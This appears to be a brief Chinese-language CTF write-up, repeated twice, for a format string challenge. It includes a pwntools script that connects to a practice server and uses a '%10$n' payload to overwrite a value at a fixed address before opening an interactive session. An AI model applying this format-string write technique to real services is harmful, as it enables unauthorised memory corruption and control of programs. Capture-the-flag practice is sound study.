存在格式化字符串漏洞
经过尝试发现偏移为10
from pwn import *
addr=0x804c044
p=remote("node3.buuoj.cn",29172)
#%10$n的意思是向偏移为10处所指向的地址处写入已经写的字符数
#即 mov [%10$n] , 字符数
payload=p32(addr)+"%10$n"
p.sendline(payload)
#p32写入的字符数是4
p.sendline("4")
p.interactive()
2023-10-24 10:26:22
存在格式化字符串漏洞
经过尝试发现偏移为10
from pwn import *
addr=0x804c044
p=remote("node3.buuoj.cn",29172)
#%10$n的意思是向偏移为10处所指向的地址处写入已经写的字符数
#即 mov [%10$n] , 字符数
payload=p32(addr)+"%10$n"
p.sendline(payload)
#p32写入的字符数是4
p.sendline("4")
p.interactive()